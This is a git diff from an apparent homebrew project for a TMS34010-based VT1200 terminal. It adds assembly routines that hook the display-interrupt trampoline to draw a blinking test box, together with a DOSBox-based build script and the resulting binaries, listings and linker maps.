(RLONG(0xFFFFFEA0) = 00000DB0h). +; +; `install` (called by rdebug `jump`, returns) rewrites the 6-byte +; `JA 3F7146D0h` stub to `JA handler`. `handler` runs on every display +; interrupt, toggles a 64x64 box on the Terminal Manager's white body every +; 0600h invocations, then tail-jumps to the stock OS display handler. +; +; This is the "draw before the OS handler" variant. If the OS handler repaints +; afterwards, the box will not survive; that is what the frames decide. +; +; Linked at bit 01840000h by dwt/visual/build.sh. + + .text +_start: + pushst + dint + setf 32, 0, 0 + movi handler, a0, L + move a0, @00000DC0h, 0 ; stub target + setf 16, 0, 0 + movi 0C080h, a0, L + move a0, @00000DB0h, 0 ; JA opcode + sub a0, a0 + move a0, @0186F000h, 0 ; counter + move a0, @0186F002h, 0 ; state (0 = black) + popst + rets + +handler: + mmtm sp, a0,a1,a2,a3,a4,a5 + setf 16, 0, 0 + setf 32, 0, 1 + move @0186F000h, a0, 0 + inc a0 + move a0, @0186F000h, 0 + cmpi 0600h, a0 + jrne draw + sub a0, a0 + move a0, @0186F000h, 0 + move @0186F002h, a1, 0 + cmpi 0, a1 + jrne was_white + movk 1, a1 + jruc set_state +was_white: + sub a1, a1 +set_state: + move a1, @0186F002h, 0 + +draw: + move @0186F002h, a1, 0 + cmpi 0, a1 + jrne pat_white + sub a2, a2 + jruc pat_ready +pat_white: + movi 0FFFFh, a2, L +pat_ready: + movi 04064100h, a3, L ; 04000000h + 400*1024 + 256 + movi 64, a4, L + movi 4, a5, L +drow: + move a5, a1 +dword: + move a2, *a3+, 0 + dsjs a1, dword + addi 03C0h, a3 + dsjs a4, drow + + mmfm sp, a0,a1,a2,a3,a4,a5 + jauc 3F7146D0h ; stock OS display handler + .end diff --git a/dwt/visual/blink2.asm b/dwt/visual/blink2.asm new file mode 100644 index 0000000..9174c21 --- /dev/null +++ b/dwt/visual/blink2.asm @@ -0,0 +1,119 @@ +; blinkpc.asm -- resident blink that draws AFTER the stock display handler. +; +; Hook: the firmware's DI RAM trampoline at bit 00000DB0h +; (RLONG(0xFFFFFEA0) = 00000DB0h, stub `JA 3F714530h`). +; +; entry saves the interrupt's saved PC, replaces it with ret_hook, then +; tail-jumps to the stock handler 3F714530h; +; ret_hook runs when the stock handler `reti`s, draws the box, and returns +; to the original PC with `rets 2` (the 2 skips the temporary a0 +; slot and keeps the interrupted stack balanced). +; +; Drawing after the handler matters: a draw before it is wiped by the handler's +; own screen work (measured: blink.asm counter runs, no box in any frame). +; +; Box: framebuffer (256,400), 64x64, white Terminal Manager body. +; State toggles every 0014h invocations (~20 frames at ~1 DI/frame idle). +; +; Linked at bit 01840000h by dwt/visual/build.sh. + + .text +_start: ; install, called by rdebug `jump` + pushst + dint + setf 32, 0, 0 + movi entry, a0, L + move a0, @00000F40h, 0 + setf 16, 0, 0 + movi 0C080h, a0, L + move a0, @00000F30h, 0 + sub a0, a0 + move a0, @01840E00h, 0 ; counter + move a0, @01840E10h, 0 ; state (0 = black) + movi 0Ah, a0, L + move a0, @01840E30h, 0 ; skip the first 10 DI entries + popst + rets + +; ---- entry: point the interrupt's return at ret_hook, run stock handler --- +entry: + move a0, @01840E60h, 1 ; save interrupted a0 + setf 16, 0, 0 + move @01840E30h, a0, 0 ; settle counter + cmpi 0, a0 + jreq active + dec a0 + move a0, @01840E30h, 0 + setf 32, 0, 1 + move @01840E60h, a0, 1 + jauc 3F714530h ; still settling: stock handler only +active: + setf 32, 0, 1 + move *sp(020h), a0, 1 ; saved PC (SP -> ST, +20h -> PC) + move a0, @01840E20h, 1 ; orig_pc + movi ret_hook, a0, L + move a0, *sp(020h), 1 + move @01840E60h, a0, 1 + jauc 3F714530h ; stock OS display handler + +; ---- ret_hook: after the stock handler, draw, then resume ----------------- +ret_hook: + dint ; first instruction: close the reti->hook race + mmtm sp, a0,a1,a2,a3,a4,a5 ; field-independent A-reg save + getst a0 + setf 32, 0, 1 + move a0, @01840E40h, 1 ; interrupted ST + + setf 16, 0, 0 + setf 32, 0, 1 + move @01840E00h, a0, 0 + inc a0 + move a0, @01840E00h, 0 + cmpi 0014h, a0 + jrne draw + sub a0, a0 + move a0, @01840E00h, 0 + move @01840E10h, a1, 0 + cmpi 0, a1 + jrne was_white + movk 1, a1 + jruc set_state +was_white: + sub a1, a1 +set_state: + move a1, @01840E10h, 0 + +draw: + move @01840E10h, a1, 0 + cmpi 0, a1 + jrne pat_white + sub a2, a2 + jruc pat_ready +pat_white: + movi 0FFFFh, a2, L +pat_ready: + movi 04064100h, a3, L + movi 64, a4, L + movi 4, a5, L +drow: + move a5, a1 +dword: + move a2, *a3+, 0 + dsjs a1, dword + addi 03C0h, a3 + dsjs a4, drow + + ; restore the A registers (field 1 is still 32) + mmfm sp, a0,a1,a2,a3,a4,a5 + ; leave with [ST][orig_pc] and the temporary a0 slot skipped by rets 2 + setf 32, 0, 1 + mmtm sp, a0 ; a0 slot at S-20h + move @01840E20h, a0, 1 ; orig_pc + move a0, -*sp, 1 ; orig_pc at S-40h + move *sp(020h), a0, 1 ; restore a0 from S-20h + move @01840E40h, a0, 1 ; interrupted ST (temporarily in a0) + move a0, -*sp, 1 ; ST at S-60h + move *sp(040h), a0, 1 ; restore a0 from S-20h + popst ; restore interrupted ST/IE + rets 2 ; pop orig_pc, skip the a0 slot + .end diff --git a/dwt/visual/blinkdi.asm b/dwt/visual/blinkdi.asm new file mode 100644 index 0000000..a951b88 --- /dev/null +++ b/dwt/visual/blinkdi.asm @@ -0,0 +1,117 @@ +; blinkdi.asm -- resident blink hooked on the display interrupt, via the +; firmware's own RAM trampoline at bit 00000DB0h. +; +; HOW IT HOOKS +; The CPU vector table lives in ROM, but RLONG(0xFFFFFEA0) = 00000DB0h and +; that RAM word is a 6-byte `JA ` stub. `install` rewrites the +; stub's 32-bit target to `entry` (the opcode C080h is unchanged). The +; original target 3F7146D0h is the OS display handler. +; +; WHY THE RETURN-PC TRAMPOLINE +; A one-shot VRAM draw is repainted before it reaches the screen. Drawing +; inside the handler *before* the OS handler runs is also wiped by the +; handler's own full-screen work. So: +; entry (runs first) saves the interrupt's return PC, replaces it with +; `ret_hook`, then tail-jumps to the stock OS handler; +; ret_hook (runs after the OS handler's `reti`) draws the box and jumps +; back to the saved PC. The draw is therefore after the repaint. +; +; The box is at framebuffer (256,400), 64x64, on the Terminal Manager's white +; body. State toggles every 0600h invocations (~48 frames at the measured +; ~32 display interrupts/frame): black <-> white. +; +; Linked at bit 01840000h by dwt/visual/build.sh. + + .text +_start: ; install, called by rdebug `jump` + pushst + dint + setf 32, 0, 0 + movi entry, a0, L + move a0, @00000DC0h, 0 ; stub target (32 bits, two words) + setf 16, 0, 0 + movi 0C080h, a0, L ; JA opcode (unchanged value) + move a0, @00000DB0h, 0 + sub a0, a0 + move a0, @0186F000h, 0 ; invocation counter = 0 + move a0, @0186F002h, 0 ; state = 0 (black) + popst + rets + +; ---- entry hook: save return PC, install ret_hook, run stock handler ------ +entry: + move a0, @0186F010h, 1 ; save interrupted a0 + setf 32, 0, 1 + move *sp(020h), a0, 1 ; saved PC (SP -> ST, +20h -> PC) + move a0, @0186F004h, 1 ; orig_pc + movi ret_hook, a0, L + move a0, *sp(020h), 1 ; return via ret_hook instead + move @0186F010h, a0, 1 ; restore a0 + ja 3F7146D0h ; stock OS display handler + +; ---- ret hook: after the OS handler, draw, then go back ----------------- +ret_hook: + move a0, @0186F010h, 1 + getst a0 + move a0, @0186F014h, 1 ; save interrupted ST + dint + move a1, @0186F020h, 1 + move a2, @0186F024h, 1 + move a3, @0186F028h, 1 + move a4, @0186F02Ch, 1 + move a5, @0186F030h, 1 + move b0, @0186F034h, 1 + + setf 16, 0, 0 + setf 32, 0, 1 + move @0186F000h, a0, 0 ; counter + inc a0 + move a0, @0186F000h, 0 + cmpi 0600h, a0 + jrne draw ; only flip state on wrap + sub a0, a0 + move a0, @0186F000h, 0 + move @0186F002h, a1, 0 ; current state + cmpi 0, a1 + jrne was_white + movk 1, a1 ; 0 -> 1 (white) + jruc set_state +was_white: + sub a1, a1 ; 1 -> 0 (black) +set_state: + move a1, @0186F002h, 0 + +draw: + move @0186F002h, a1, 0 + cmpi 0, a1 + jrne pat_white + sub a2, a2 ; black + jruc pat_ready +pat_white: + movi 0FFFFh, a2, L ; white +pat_ready: + movi 04064100h, a3, L ; 04000000h + 400*1024 + 256 + movi 64, a4, L ; 64 rows + movi 4, a5, L ; 4 words = 64 px +drow: + move a5, a1 +dword: + move a2, *a3+, 0 + dsjs a1, dword + addi 03C0h, a3 ; 1024 - 64 bits + dsjs a4, drow + + move @0186F030h, a5, 1 + move @0186F02Ch, a4, 1 + move @0186F028h, a3, 1 + move @0186F024h, a2, 1 + move @0186F020h, a1, 1 + ; leave with orig_pc on the stack and every touched register restored + move @0186F004h, a0, 1 ; orig_pc + move a0, -*sp, 1 ; push return PC for `rets` + move @0186F010h, a0, 1 ; restore interrupted a0 + move @0186F014h, b0, 1 ; interrupted ST + putst b0 ; restore IE/fields + move @0186F034h, b0, 1 ; restore interrupted b0 + rets ; pop orig_pc and resume + .end diff --git a/dwt/visual/blinkev.asm b/dwt/visual/blinkev.asm new file mode 100644 index 0000000..27a09da --- /dev/null +++ b/dwt/visual/blinkev.asm @@ -0,0 +1,107 @@ +; blinkpc.asm -- resident blink that draws AFTER the stock display handler. +; +; Hook: the firmware's DI RAM trampoline at bit 00000DB0h +; (RLONG(0xFFFFFEA0) = 00000DB0h, stub `JA 3F7146D0h`). +; +; entry saves the interrupt's saved PC, replaces it with ret_hook, then +; tail-jumps to the stock handler 3F7146D0h; +; ret_hook runs when the stock handler `reti`s, draws the box, and returns +; to the original PC with `rets 2` (the 2 skips the temporary a0 +; slot and keeps the interrupted stack balanced). +; +; Drawing after the handler matters: a draw before it is wiped by the handler's +; own screen work (measured: blink.asm counter runs, no box in any frame). +; +; Box: framebuffer (256,400), 64x64, white Terminal Manager body. +; State toggles every 0014h invocations (~20 frames at ~1 DI/frame idle). +; +; Linked at bit 01840000h by dwt/visual/build.sh. + + .text +_start: ; install, called by rdebug `jump` + pushst + dint + setf 32, 0, 0 + movi entry, a0, L + move a0, @00000DC0h, 0 + setf 16, 0, 0 + movi 0C080h, a0, L + move a0, @00000DB0h, 0 + sub a0, a0 + move a0, @01840800h, 0 ; counter + move a0, @01840810h, 0 ; state (0 = black) + popst + rets + +; ---- entry: point the interrupt's return at ret_hook, run stock handler --- +entry: + move a0, @01840860h, 1 ; save interrupted a0 + setf 32, 0, 1 + move *sp(020h), a0, 1 ; saved PC (SP -> ST, +20h -> PC) + move a0, @01840820h, 1 ; orig_pc + movi ret_hook, a0, L + move a0, *sp(020h), 1 + move @01840860h, a0, 1 + jauc 3F7146D0h ; stock OS display handler + +; ---- ret_hook: after the stock handler, draw, then resume ----------------- +ret_hook: + mmtm sp, a0,a1,a2,a3,a4,a5 ; field-independent A-reg save + getst a0 + setf 32, 0, 1 + move a0, @01840840h, 1 ; interrupted ST + dint + + setf 16, 0, 0 + setf 32, 0, 1 + move @01840800h, a0, 0 + inc a0 + move a0, @01840800h, 0 + cmpi 0014h, a0 + jrne draw + sub a0, a0 + move a0, @01840800h, 0 + move @01840810h, a1, 0 + cmpi 0, a1 + jrne was_white + movk 1, a1 + jruc set_state +was_white: + sub a1, a1 +set_state: + move a1, @01840810h, 0 + +draw: + move @01840810h, a1, 0 + cmpi 0, a1 + jrne pat_white + sub a2, a2 + jruc pat_ready +pat_white: + movi 0FFFFh, a2, L +pat_ready: + movi 04064100h, a3, L + movi 64, a4, L + movi 4, a5, L +drow: + move a5, a1 +dword: + move a2, *a3+, 0 + dsjs a1, dword + addi 03C0h, a3 + dsjs a4, drow + + ; restore the A registers (field 1 is still 32) + mmfm sp, a0,a1,a2,a3,a4,a5 + ; leave with [ST][orig_pc] and the temporary a0 slot skipped by rets 2 + setf 32, 0, 1 + mmtm sp, a0 ; a0 slot at S-20h + move @01840820h, a0, 1 ; orig_pc + move a0, -*sp, 1 ; orig_pc at S-40h + move *sp(020h), a0, 1 ; restore a0 from S-20h + move @01840840h, a0, 1 ; interrupted ST (temporarily in a0) + move a0, -*sp, 1 ; ST at S-60h + move *sp(040h), a0, 1 ; restore a0 from S-20h + popst ; restore interrupted ST/IE + rets 2 ; pop orig_pc, skip the a0 slot + .end diff --git a/dwt/visual/blinkpc.asm b/dwt/visual/blinkpc.asm new file mode 100644 index 0000000..b801f38 --- /dev/null +++ b/dwt/visual/blinkpc.asm @@ -0,0 +1,119 @@ +; blinkpc.asm -- resident blink that draws AFTER the stock display handler. +; +; Hook: the firmware's DI RAM trampoline at bit 00000DB0h +; (RLONG(0xFFFFFEA0) = 00000DB0h, stub `JA 3F7146D0h`). +; +; entry saves the interrupt's saved PC, replaces it with ret_hook, then +; tail-jumps to the stock handler 3F7146D0h; +; ret_hook runs when the stock handler `reti`s, draws the box, and returns +; to the original PC with `rets 2` (the 2 skips the temporary a0 +; slot and keeps the interrupted stack balanced). +; +; Drawing after the handler matters: a draw before it is wiped by the handler's +; own screen work (measured: blink.asm counter runs, no box in any frame). +; +; Box: framebuffer (256,400), 64x64, white Terminal Manager body. +; State toggles every 0014h invocations (~20 frames at ~1 DI/frame idle). +; +; Linked at bit 01840000h by dwt/visual/build.sh. + + .text +_start: ; install, called by rdebug `jump` + pushst + dint + setf 32, 0, 0 + movi entry, a0, L + move a0, @00000DC0h, 0 + setf 16, 0, 0 + movi 0C080h, a0, L + move a0, @00000DB0h, 0 + sub a0, a0 + move a0, @01840E00h, 0 ; counter + move a0, @01840E10h, 0 ; state (0 = black) + movi 0Ah, a0, L + move a0, @01840E30h, 0 ; skip the first 10 DI entries + popst + rets + +; ---- entry: point the interrupt's return at ret_hook, run stock handler --- +entry: + move a0, @01840E60h, 1 ; save interrupted a0 + setf 16, 0, 0 + move @01840E30h, a0, 0 ; settle counter + cmpi 0, a0 + jreq active + dec a0 + move a0, @01840E30h, 0 + setf 32, 0, 1 + move @01840E60h, a0, 1 + jauc 3F7146D0h ; still settling: stock handler only +active: + setf 32, 0, 1 + move *sp(020h), a0, 1 ; saved PC (SP -> ST, +20h -> PC) + move a0, @01840E20h, 1 ; orig_pc + movi ret_hook, a0, L + move a0, *sp(020h), 1 + move @01840E60h, a0, 1 + jauc 3F7146D0h ; stock OS display handler + +; ---- ret_hook: after the stock handler, draw, then resume ----------------- +ret_hook: + dint ; first instruction: close the reti->hook race + mmtm sp, a0,a1,a2,a3,a4,a5 ; field-independent A-reg save + getst a0 + setf 32, 0, 1 + move a0, @01840E40h, 1 ; interrupted ST + + setf 16, 0, 0 + setf 32, 0, 1 + move @01840E00h, a0, 0 + inc a0 + move a0, @01840E00h, 0 + cmpi 0014h, a0 + jrne draw + sub a0, a0 + move a0, @01840E00h, 0 + move @01840E10h, a1, 0 + cmpi 0, a1 + jrne was_white + movk 1, a1 + jruc set_state +was_white: + sub a1, a1 +set_state: + move a1, @01840E10h, 0 + +draw: + move @01840E10h, a1, 0 + cmpi 0, a1 + jrne pat_white + sub a2, a2 + jruc pat_ready +pat_white: + movi 0FFFFh, a2, L +pat_ready: + movi 04064100h, a3, L + movi 64, a4, L + movi 4, a5, L +drow: + move a5, a1 +dword: + move a2, *a3+, 0 + dsjs a1, dword + addi 03C0h, a3 + dsjs a4, drow + + ; restore the A registers (field 1 is still 32) + mmfm sp, a0,a1,a2,a3,a4,a5 + ; leave with [ST][orig_pc] and the temporary a0 slot skipped by rets 2 + setf 32, 0, 1 + mmtm sp, a0 ; a0 slot at S-20h + move @01840E20h, a0, 1 ; orig_pc + move a0, -*sp, 1 ; orig_pc at S-40h + move *sp(020h), a0, 1 ; restore a0 from S-20h + move @01840E40h, a0, 1 ; interrupted ST (temporarily in a0) + move a0, -*sp, 1 ; ST at S-60h + move *sp(040h), a0, 1 ; restore a0 from S-20h + popst ; restore interrupted ST/IE + rets 2 ; pop orig_pc, skip the a0 slot + .end diff --git a/dwt/visual/boxalign.asm b/dwt/visual/boxalign.asm new file mode 100644 index 0000000..971ea45 --- /dev/null +++ b/dwt/visual/boxalign.asm @@ -0,0 +1,30 @@ +; boxalign.asm -- CONTROL: one word-aligned solid black 64x64 box, then spin. +; +; Box at framebuffer (512,416): x is a multiple of 16 (word-aligned), which is +; what the TMS34010 16-bit field store needs. Inside the Terminal Manager's +; white body, so a black box is unmistakable. +; +; Linked at bit 01840000h by dwt/visual/build.sh. + + .text +_start: + setf 16, 0, 0 + setf 32, 0, 1 + sub a0, a0 ; pattern = 0000 (black) + movi 04068200h, a2, L ; 04000000h + 416*1024 + 512 + movi 64, a3, L ; 64 rows + movi 4, a4, L ; 4 words = 64 px +row: + move a4, a5 +word: + move a0, *a2+, 0 + dsjs a5, word + addi 03C0h, a2 ; 1024 - 64 bits + dsjs a3, row + movi 0A11Ah, a0, L + move a0, @01850020h, 0 ; ALIGN_MARK = A11A + dint +spin: + nop + jruc spin + .end diff --git a/dwt/visual/build.sh b/dwt/visual/build.sh new file mode 100755 index 0000000..8299f99 --- /dev/null +++ b/dwt/visual/build.sh @@ -0,0 +1,78 @@ +#!/bin/sh +# Build a VT1200 payload with the 1987 TI TMS34010 SDK (GSPA/GSPLNK under +# DOSBox), the same flow as harness/hello-world/build.sh. +# +# dwt/visual/build.sh SOURCE.asm [ORIGIN_BITS] +# +# Outputs dwt/visual/build/.bin (linked bytes) and .map. +# Nothing outside dwt/visual/ is written. +set -eu + +ROOT=$(cd "$(dirname "$0")/../.." && pwd) +DIR=$(cd "$(dirname "$0")" && pwd) +SRC=${1:?usage: build.sh SOURCE.asm [ORIGIN_BITS]} +ORIGIN=${2:-01800000} +NAME=$(basename "$SRC" .asm) +# DOS's 8.3 filesystem uppercases names; the tools write .OUT etc. +BASE=$(printf '%s' "$NAME" | tr 'a-z' 'A-Z') +WORK="$DIR/work" +OUT="$DIR/build" +IMG="$ROOT/tools/tms34010-sdk/1987-05 TMS34010 SDK/1987-11-06 TMS34010 Simulator-C Tools-ASM Tools.img" +DOSBOX_CONF="$ROOT/harness/sdk-scratch/dosbox-bench.conf" + +mkdir -p "$WORK" "$OUT" + +if [ ! -x "$WORK/GSPA.EXE" ]; then + mcopy -s -n -i "$IMG" "::/A2/*" "$WORK/" + mcopy -s -n -i "$IMG" "::/C2/*" "$WORK/" +fi + +cp "$SRC" "$WORK/$BASE.ASM" + +# TI hex constants must begin with a decimal digit. +case "$ORIGIN" in + [0-9]*) ;; + *) ORIGIN="0$ORIGIN" ;; +esac + +printf '%s\n' \ + '-a' \ + "-o $BASE.out" \ + "-m $BASE.map" \ + "$BASE.obj" \ + 'SECTIONS' \ + '{' \ + " .text ${ORIGIN}h: {}" \ + '}' > "$WORK/$BASE.CMD" +sed -i 's/$/\r/' "$WORK/$BASE.CMD" + +rm -f "$WORK/$BASE.OBJ" "$WORK/$BASE.OUT" "$WORK/$BASE.LST" \ + "$WORK/$BASE.MAP" "$WORK/$BASE.HI" "$WORK/$BASE.LO" + +SDL_VIDEODRIVER=dummy SDL_AUDIODRIVER=dummy \ +timeout 180 dosbox -conf "$DOSBOX_CONF" -noprimaryconf -nolocalconf \ + -c "mount c $WORK" -c "c:" \ + -c "gspa $BASE $BASE.obj $BASE.lst -l" \ + -c "gsplnk $BASE.cmd" \ + -c "exit" -exit >/dev/null 2>&1 + +if [ ! -f "$WORK/$BASE.OUT" ]; then + echo "build.sh: GSPLNK produced no $BASE.OUT" >&2 + exit 1 +fi +if [ ! -f "$WORK/$BASE.OBJ" ]; then + echo "build.sh: GSPA produced no $BASE.OBJ" >&2 + grep -n '\*\*\*\*\*' "$WORK/$BASE.LST" >&2 || true + exit 1 +fi +if grep -q '\*\*\*\*\*' "$WORK/$BASE.LST"; then + echo "build.sh: assembler diagnostics:" >&2 + grep -n '\*\*\*\*\*' "$WORK/$BASE.LST" >&2 + exit 1 +fi + +python3 "$ROOT/harness/hello-world/cofextract.py" "$WORK/$BASE.OUT" "$OUT/$NAME.bin" +sed 's/\r$//' "$WORK/$BASE.MAP" > "$OUT/$NAME.map" +# Keep the listing too: it is the assembler's own record, addresses in bits. +cp "$WORK/$BASE.LST" "$OUT/$NAME.lst" +echo "build.sh: $OUT/$NAME.bin ($(wc -c < "$OUT/$NAME.bin") bytes) at bit $ORIGIN" diff --git a/dwt/visual/build/blink.bin b/dwt/visual/build/blink.bin new file mode 100644 index 0000000000000000000000000000000000000000..d483bb2f43e3355bdaa2f6d39b259b42f52dd3c6 GIT binary patch literal 172 zcmaFBn8577`har+V+&&g>j7Q{h5#V1;Q#|e1M3DLkHMvZmEl7hP>u;m9$-x1?B`_o z6Ts@gz5pz)AOMkf;Qs$p;51D2La=H_?*IRpPAf_<9#C{?1dAYxJGn3)c*ObtKLf*K qP6kIdmM5GJK +ENTRY POINT SYMBOL: 0 + + +SECTION ALLOCATION MAP + + output attributes/ +section page origin length input sections +-------- ---- ---------- ---------- ---------------- +.data 0 00000000 00000000 + +.bss 0 00000000 00000000 UNINITIALIZED + +.text 0 01840000 00000560 + 01840000 00000560 BLINK.obj (.text) + + +GLOBAL SYMBOLS + +address name address name +-------- ---- -------- ---- +00000000 .bss 00000000 edata +00000000 .data 00000000 .bss +01840000 .text 00000000 end +00000000 edata 00000000 .data +00000000 end 01840000 .text +01840560 etext 01840560 etext + +[6 symbols] diff --git a/dwt/visual/build/blink2.bin b/dwt/visual/build/blink2.bin new file mode 100644 index 0000000000000000000000000000000000000000..03f817eb0abd029cec42ed3abca8729c17e29c93 GIT binary patch literal 300 zcmYk0Jx;?w5QS%1FRQ^4c0rMHa|0j1QpR993LnAZ2D!mRavzT1Z~-J5+AUHgm$3M$ zXgC1UGM)%2&FIa0qj}$CdP{D?A2S$sQ~-3caRgvj$p$SuxSq38=7d*bNg_I$9@+Pz zIyb6Ac}n>q+?;aqqoy3I`}KZofpUD!o+2}QRm#hZEbwVlmI>un#=4HN%+4olev4idunQ%N4u|Ia0TS0 TpGPGuo@d%oIc7}|%_IH+_$pDJ literal 0 HcmV?d00001 diff --git a/dwt/visual/build/blink2.lst b/dwt/visual/build/blink2.lst new file mode 100644 index 0000000..76d4dba --- /dev/null +++ b/dwt/visual/build/blink2.lst @@ -0,0 +1,178 @@ +GSP COFF Assembler, Version 2.00, 87.300 Sun Oct 18 03:16:09 2026 + (c) Copyright 1985, 1987, Texas Instruments Inc. + + PAGE 1 + + 0001 ; blinkpc.asm -- resident blink that draws AFTER the st + 0002 ; + 0003 ; Hook: the firmware's DI RAM trampoline at bit 00000DB + 0004 ; (RLONG(0xFFFFFEA0) = 00000DB0h, stub `JA 3F714530h`). + 0005 ; + 0006 ; entry saves the interrupt's saved PC, replaces i + 0007 ; tail-jumps to the stock handler 3F714530h; + 0008 ; ret_hook runs when the stock handler `reti`s, draws + 0009 ; to the original PC with `rets 2` (the 2 sk + 0010 ; slot and keeps the interrupted stack balan + 0011 ; + 0012 ; Drawing after the handler matters: a draw before it i + 0013 ; own screen work (measured: blink.asm counter runs, no + 0014 ; + 0015 ; Box: framebuffer (256,400), 64x64, white Terminal Man + 0016 ; State toggles every 0014h invocations (~20 frames at + 0017 ; + 0018 ; Linked at bit 01840000h by dwt/visual/build.sh. + 0019 + 0020 00000000 .text + 0021 00000000 _start: ; install, called by rdebug `jump` + 0022 00000000 01E0 pushst + 0023 00000010 0360 dint + 0024 00000020 0540 setf 32, 0, 0 + 0025 00000030 09E0 movi entry, a0, L + 00000040 000001F0' + 0026 00000060 0580 move a0, @00000F40h, 0 + 00000070 00000F40 + 0027 00000090 0550 setf 16, 0, 0 + 0028 000000A0 09E0 movi 0C080h, a0, L + 000000B0 0000C080 + 0029 000000D0 0580 move a0, @00000F30h, 0 + 000000E0 00000F30 + 0030 00000100 4400 sub a0, a0 + 0031 00000110 0580 move a0, @01840E00h, 0 ; counter + 00000120 01840E00 + 0032 00000140 0580 move a0, @01840E10h, 0 ; state (0 = black) + 00000150 01840E10 + 0033 00000170 09E0 movi 0Ah, a0, L + 00000180 0000000A + 0034 000001A0 0580 move a0, @01840E30h, 0 ; skip the first 10 DI entries + 000001B0 01840E30 + 0035 000001D0 01C0 popst + 0036 000001E0 0960 rets + 0037 + 0038 ; ---- entry: point the interrupt's return at ret_hook, + 0039 000001F0 entry: + 0040 000001F0 0780 move a0, @01840E60h, 1 ; save interrupted a0 + 00000200 01840E60 + 0041 00000220 0550 setf 16, 0, 0 + 0042 00000230 05A0 move @01840E30h, a0, 0 ; settle counter + 00000240 01840E30 + 0043 00000260 0B40 cmpi 0, a0 + 00000270 FFFF + 0044 00000280 CA0B jreq active + 0045 00000290 1420 dec a0 + GSP COFF Assembler, Version 2.00, 87.300 Sun Oct 18 03:16:09 2026 + (c) Copyright 1985, 1987, Texas Instruments Inc. + + PAGE 2 + + 0046 000002A0 0580 move a0, @01840E30h, 0 + 000002B0 01840E30 + 0047 000002D0 0740 setf 32, 0, 1 + 0048 000002E0 07A0 move @01840E60h, a0, 1 + 000002F0 01840E60 + 0049 00000310 C080 jauc 3F714530h ; still settling: stock handler only + 00000320 3F714530 + 0050 00000340 active: + 0051 00000340 0740 setf 32, 0, 1 + 0052 00000350 B7E0 move *sp(020h), a0, 1 ; saved PC (SP -> ST, +20h -> PC + 00000360 0020 + 0053 00000370 0780 move a0, @01840E20h, 1 ; orig_pc + 00000380 01840E20 + 0054 000003A0 09E0 movi ret_hook, a0, L + 000003B0 00000450' + 0055 000003D0 B20F move a0, *sp(020h), 1 + 000003E0 0020 + 0056 000003F0 07A0 move @01840E60h, a0, 1 + 00000400 01840E60 + 0057 00000420 C080 jauc 3F714530h ; stock OS display handler + 00000430 3F714530 + 0058 + 0059 ; ---- ret_hook: after the stock handler, draw, then re + 0060 00000450 ret_hook: + 0061 00000450 0360 dint ; first instruction: close the reti->hook race + 0062 00000460 098F mmtm sp, a0,a1,a2,a3,a4,a5 ; field-independent A-reg s + 00000470 FC00 + 0063 00000480 0180 getst a0 + 0064 00000490 0740 setf 32, 0, 1 + 0065 000004A0 0780 move a0, @01840E40h, 1 ; interrupted ST + 000004B0 01840E40 + 0066 + 0067 000004D0 0550 setf 16, 0, 0 + 0068 000004E0 0740 setf 32, 0, 1 + 0069 000004F0 05A0 move @01840E00h, a0, 0 + 00000500 01840E00 + 0070 00000520 1020 inc a0 + 0071 00000530 0580 move a0, @01840E00h, 0 + 00000540 01840E00 + 0072 00000560 0B40 cmpi 0014h, a0 + 00000570 FFEB + 0073 00000580 CB10 jrne draw + 0074 00000590 4400 sub a0, a0 + 0075 000005A0 0580 move a0, @01840E00h, 0 + 000005B0 01840E00 + 0076 000005D0 05A1 move @01840E10h, a1, 0 + 000005E0 01840E10 + 0077 00000600 0B41 cmpi 0, a1 + 00000610 FFFF + 0078 00000620 CB02 jrne was_white + 0079 00000630 1821 movk 1, a1 + 0080 00000640 C001 jruc set_state + 0081 00000650 was_white: + 0082 00000650 4421 sub a1, a1 + 0083 00000660 set_state: + 0084 00000660 0581 move a1, @01840E10h, 0 + GSP COFF Assembler, Version 2.00, 87.300 Sun Oct 18 03:16:09 2026 + (c) Copyright 1985, 1987, Texas Instruments Inc. + + PAGE 3 + + 00000670 01840E10 + 0085 + 0086 00000690 draw: + 0087 00000690 05A1 move @01840E10h, a1, 0 + 000006A0 01840E10 + 0088 000006C0 0B41 cmpi 0, a1 + 000006D0 FFFF + 0089 000006E0 CB02 jrne pat_white + 0090 000006F0 4442 sub a2, a2 + 0091 00000700 C003 jruc pat_ready + 0092 00000710 pat_white: + 0093 00000710 09E2 movi 0FFFFh, a2, L + 00000720 0000FFFF + 0094 00000740 pat_ready: + 0095 00000740 09E3 movi 04064100h, a3, L + 00000750 04064100 + 0096 00000770 09E4 movi 64, a4, L + 00000780 00000040 + 0097 000007A0 09E5 movi 4, a5, L + 000007B0 00000004 + 0098 000007D0 drow: + 0099 000007D0 4CA1 move a5, a1 + 0100 000007E0 dword: + 0101 000007E0 9043 move a2, *a3+, 0 + 0102 000007F0 3C41 dsjs a1, dword + 0103 00000800 0B03 addi 03C0h, a3 + 00000810 03C0 + 0104 00000820 3CC4 dsjs a4, drow + 0105 + 0106 ; restore the A registers (field 1 is still 32) + 0107 00000830 09AF mmfm sp, a0,a1,a2,a3,a4,a5 + 00000840 003F + 0108 ; leave with [ST][orig_pc] and the temporary a0 slot s + 0109 00000850 0740 setf 32, 0, 1 + 0110 00000860 098F mmtm sp, a0 ; a0 slot at S-20h + 00000870 8000 + 0111 00000880 07A0 move @01840E20h, a0, 1 ; orig_pc + 00000890 01840E20 + 0112 000008B0 A20F move a0, -*sp, 1 ; orig_pc at S-40h + 0113 000008C0 B7E0 move *sp(020h), a0, 1 ; restore a0 from S-20h + 000008D0 0020 + 0114 000008E0 07A0 move @01840E40h, a0, 1 ; interrupted ST (temporarily i + 000008F0 01840E40 + 0115 00000910 A20F move a0, -*sp, 1 ; ST at S-60h + 0116 00000920 B7E0 move *sp(040h), a0, 1 ; restore a0 from S-20h + 00000930 0040 + 0117 00000940 01C0 popst ; restore interrupted ST/IE + 0118 00000950 0962 rets 2 ; pop orig_pc, skip the a0 slot + 0119 .end + + No Errors, No Warnings diff --git a/dwt/visual/build/blink2.map b/dwt/visual/build/blink2.map new file mode 100644 index 0000000..6fbf789 --- /dev/null +++ b/dwt/visual/build/blink2.map @@ -0,0 +1,34 @@ +***************************************************** +GSP COFF Linker, Version 2.00, 87.300 +***************************************************** +Sun Oct 18 03:16:09 2026 + +OUTPUT FILE NAME: +ENTRY POINT SYMBOL: 0 + + +SECTION ALLOCATION MAP + + output attributes/ +section page origin length input sections +-------- ---- ---------- ---------- ---------------- +.data 0 00000000 00000000 + +.bss 0 00000000 00000000 UNINITIALIZED + +.text 0 01840000 00000960 + 01840000 00000960 BLINK2.obj (.text) + + +GLOBAL 